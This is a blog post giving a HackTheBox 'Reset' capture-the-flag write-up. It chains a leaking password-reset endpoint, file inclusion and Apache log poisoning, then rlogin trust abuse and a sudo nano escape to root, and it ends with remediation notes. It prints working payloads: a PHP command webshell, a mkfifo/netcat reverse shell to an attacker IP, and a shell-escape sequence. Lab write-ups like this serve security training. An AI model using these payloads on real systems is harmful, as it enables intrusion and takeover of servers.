DEV Community

Cover image for HackTheBox: Reset Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Reset Writeup

Summary

Reset is a Linux box built around a chain of web application logic flaws and a legacy authentication misconfiguration. Initial access starts with a password reset endpoint that leaks the new admin password directly in its JSON response, granting admin access to a log-viewer dashboard. That dashboard has an unvalidated file-path parameter (LFI), which is chained with Apache access-log poisoning (injecting PHP via the User-Agent header) to achieve remote code execution as www-data. From there, group membership (adm) exposes the user flag. Privilege escalation to a second user (sadm) abuses a hosts.equiv host-based trust misconfiguration exploitable via the legacy rlogin service, requiring no password. Finally, a misconfigured sudo rule permitting nano is escaped via GTFOBins to obtain a root shell and the root flag.


1. Reconnaissance

1.1 Nmap Scan

nmap -A -Pn <MACHINE_IP> -oA nmap
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp http Apache httpd 2.4.52 (Ubuntu) — "Admin Login"
512/tcp exec netkit-rsh rexecd
513/tcp login rlogind
514/tcp shell Netkit rshd

The presence of the legacy r-services (rexec, rlogin, rsh on 512–514) is unusual for a modern box and hints that host-based trust authentication (.rhosts / hosts.equiv) will be relevant later.

The PHPSESSID cookie was flagged as missing the httponly flag by http-cookie-flags.


2. Web Enumeration

Browsing to http://<MACHINE_IP>/ presents an Admin Login page (Bootstrap 3.3.7 themed) with a "Forgot Password?" modal that POSTs a username to reset_password.php via AJAX.

<form id="resetPasswordForm">
    <input type="text" id="resetUsername" name="username" required>
    <button type="submit">Send Reset Email</button>
</form>
Enter fullscreen mode Exit fullscreen mode
$.ajax({
    url: 'reset_password.php',
    method: 'POST',
    data: { username: username },
    success: function(data) { ... }
});
Enter fullscreen mode Exit fullscreen mode

3. Vulnerability #1 - Password Reset Information Disclosure

Rather than emailing a reset token, reset_password.php returns the new plaintext password directly in the JSON response:

curl -X POST http://<MACHINE_IP>/reset_password.php \
     -d "username=admin" \
     -H "Content-Type: application/x-www-form-urlencoded"
Enter fullscreen mode Exit fullscreen mode

Response:

{"username":"admin","new_password":"9ab49143","timestamp":"2026-07-01 04:51:16"}
Enter fullscreen mode Exit fullscreen mode

This is a critical logic flaw - no email/token verification is required, and the endpoint hands the tester the admin credentials outright.

3.1 Authenticating as admin

curl -X POST http://<MACHINE_IP>/index.php \
     -d "username=admin&password=9ab49143" \
     -c cookies.txt -L
Enter fullscreen mode Exit fullscreen mode

This authenticates successfully and redirects to dashboard.php, confirming "Logged in as: admin".


4. Vulnerability #2 - Local File Inclusion (LFI) in dashboard.php

The Admin Dashboard presents a "Select Log File" dropdown (syslog, auth.log) which is submitted via POST to dashboard.php:

<select name="file">
    <option value="/var/log/syslog">syslog</option>
    <option value="/var/log/auth.log">auth.log</option>
</select>
Enter fullscreen mode Exit fullscreen mode

The dropdown only offers syslog and auth.log, but the file parameter is not restricted server-side to those values. access.log was chosen to test this because it's Apache's standard, universal request log - present on virtually every Apache install at a predictable path (/var/log/apache2/access.log), and critically, it records request data we control (URL, headers like User-Agent, etc.). That combination - a guessable path and attacker-controlled content - makes it the natural next file to try after confirming basic LFI, since it doubles as the entry point for log poisoning in the next step.

Supplying that path is honored:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/dashboard.php \
     -d "file=/var/log/apache2/access.log"
Enter fullscreen mode Exit fullscreen mode

This successfully returned the contents of /var/log/apache2/access.log, confirming an LFI vulnerability - any file readable by the www-data user can be displayed via the "Log Contents" panel.


5. Vulnerability #3 - Apache Log Poisoning → Remote Code Execution

Since access.log records the User-Agent header verbatim, and the LFI can be pointed at that log file, a classic log poisoning chain applies:

  1. Send a request with a PHP payload as the User-Agent header - Apache writes it into access.log unsanitized.
  2. Use the LFI in dashboard.php to include /var/log/apache2/access.log, causing the PHP interpreter to execute the injected payload.

5.1 Proof of Concept

curl -v -b cookies.txt \
     -H 'User-Agent: <?php system($_GET["cmd"]); ?>' \
     http://<MACHINE_IP>/dashboard.php
Enter fullscreen mode Exit fullscreen mode

Then triggering inclusion of the poisoned log (via the dashboard's log-viewer POST to /var/log/apache2/access.log) executes the injected PHP, confirming command execution.

5.2 Reverse Shell

Step 1 — Poison the log. The payload was upgraded to a full reverse shell, delivered via the User-Agent header. This request's only purpose is to get the payload written into access.log:

curl -b cookies.txt \
     -H "User-Agent: <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f'); ?>" \
     http://<MACHINE_IP>/dashboard.php
Enter fullscreen mode Exit fullscreen mode

Step 2 — Start a listener on the attack box, in a separate terminal:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Step 3 — Trigger the LFI by POSTing the dashboard's file parameter at the now-poisoned access.log. This is the same LFI request from Section 4, and it's what actually causes Apache to parse and execute the injected PHP:

curl -v -L -b cookies.txt \
     -X POST http://<MACHINE_IP>/dashboard.php \
     -d "file=/var/log/apache2/access.log"
Enter fullscreen mode Exit fullscreen mode

The system() call fires as the page renders, spawning the reverse shell back to the listener from Step 2:

whoami
www-data
Enter fullscreen mode Exit fullscreen mode

A subsequent Python PTY upgrade stabilized the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

Foothold established as www-data.


6. User Flag

Enumeration from the www-data shell:

www-data@reset:/var/www/html$ ls
dashboard.php  index.php  private_34eee5d2  reset_password.php

www-data@reset:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)
Enter fullscreen mode Exit fullscreen mode

Membership in the adm group grants read access to log files and, more importantly, to /home/sadm/user.txt:

www-data@reset:/home/sadm$ cat user.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

User flag: [REDACTED]


7. Privilege Escalation Path - www-datasadm

7.1 Discovering Host-Based Trust

The presence of rexec/rlogin/rsh (ports 512–514) found in the nmap scan pointed toward legacy host-based authentication. Checking /etc/hosts.equiv (world-readable) confirmed it:

www-data@reset:/home/sadm$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list of hosts and users that are granted "trusted" r-command access
- root
- local
+ sadm
Enter fullscreen mode Exit fullscreen mode

The + sadm entry means any remote host can rlogin as the local user sadm without a password, provided the connecting client's username matches (sadm).

7.2 Exploiting the Trust Relationship

On the attacking Kali machine, a local user named sadm was created to match the trusted username, then used to rlogin to the target:

sudo useradd -m sadm
sudo passwd sadm
sudo su - sadm
rlogin -l sadm <MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode

This dropped straight into an authenticated shell as sadm on the target — no password required, purely due to the hosts.equiv trust misconfiguration:

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
sadm@reset:~$ id
uid=1001(sadm) gid=1001(sadm) groups=1001(sadm)
Enter fullscreen mode Exit fullscreen mode

A pre-existing tmux session (sadm_session) was also found running, hinting at prior/automated admin activity:

sadm@reset:~$ tmux ls
sadm_session: 1 windows (created Wed Jul  1 04:40:01 2026)
Enter fullscreen mode Exit fullscreen mode

Attaching to it (tmux a -t sadm_session) revealed a sudo password being typed into a nano session: 7lE2PAfVHfjz4HpE.


8. Privilege Escalation Path - sadmroot (in progress)

8.1 Sudo Enumeration

sadm@reset:~$ sudo -l
Matching Defaults entries for sadm on reset:
    env_reset, timestamp_timeout=-1, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty, !syslog

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log
Enter fullscreen mode Exit fullscreen mode

sadm can run nano as root against /etc/firewall.sh, using the recovered password (7lE2PAfVHfjz4HpE).

8.2 GTFOBins — nano Sudo Escape

nano is a listed GTFOBins binary for sudo privilege escalation via its command-execution feature:

sudo /usr/bin/nano /etc/firewall.sh
Enter fullscreen mode Exit fullscreen mode

Inside the editor:

  1. Ctrl+R (Insert file), then Ctrl+X (Execute a command) — opens an "Execute Command" prompt.
  2. Enter: reset; sh 1>&0 2>&0
  3. Press Enter.

This spawns an interactive root shell in place of nano's file-insert operation. Pressing Enter after typing the command is sufficient - no further keystrokes are needed; sh takes over the terminal directly.

8.3 Confirming Root and Capturing the Flag

# whoami
root
# cd /root
# ls
root_[REDACTED].txt  snap
# cat root_[REDACTED].txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

Root shell and root flag obtained.


9. Key Vulnerabilities

# Vulnerability Location Impact
1 Password reset info disclosure reset_password.php Full admin credential leak
2 Local File Inclusion (LFI) dashboard.php (file param) Arbitrary file read
3 Apache log poisoning → RCE User-Agent header + LFI Remote code execution as www-data
4 Host-based trust misconfiguration /etc/hosts.equiv (+ sadm) + rlogin Passwordless lateral movement to sadm
5 Insecure sudo rule (GTFOBins) sudo nano /etc/firewall.sh Privilege escalation to root

10. Root Cause / Remediation Notes

  • Password reset endpoint should never return the new password to the client — send via email/token only.
  • dashboard.php file selection should validate against a strict allow-list server-side, not just in the HTML <select>.
  • User-controllable headers (User-Agent, etc.) should never be trusted/logged in a way that allows re-inclusion as executable code; disable PHP execution in log directories.
  • Remove legacy r-services (rsh, rlogin, rexec) and /etc/hosts.equiv / .rhosts trust files — these predate modern authentication and are inherently spoofable.
  • Avoid granting sudo access to editors like nano, vim, less, etc. — these have well-known shell-escape sequences (see GTFOBins).

11. Summary of Attack Chain

  1. Info disclosurereset_password.php leaks the new admin password in its JSON response.
  2. Auth bypass — Used leaked password to log in as admin.
  3. LFIdashboard.php's file parameter is not validated, allowing arbitrary file read.
  4. Log poisoning RCE — Injected PHP via User-Agent, executed via LFI on access.log.
  5. Foothold — Reverse shell as www-data (group adm grants log/user.txt read access).
  6. Lateral movement — Misconfigured /etc/hosts.equiv (+ sadm) allowed passwordless rlogin as sadm from an attacker-controlled host.
  7. Privesc (root)sudo rule permits nano /etc/firewall.sh as root; GTFOBins escape yields a root shell.

Top comments (0)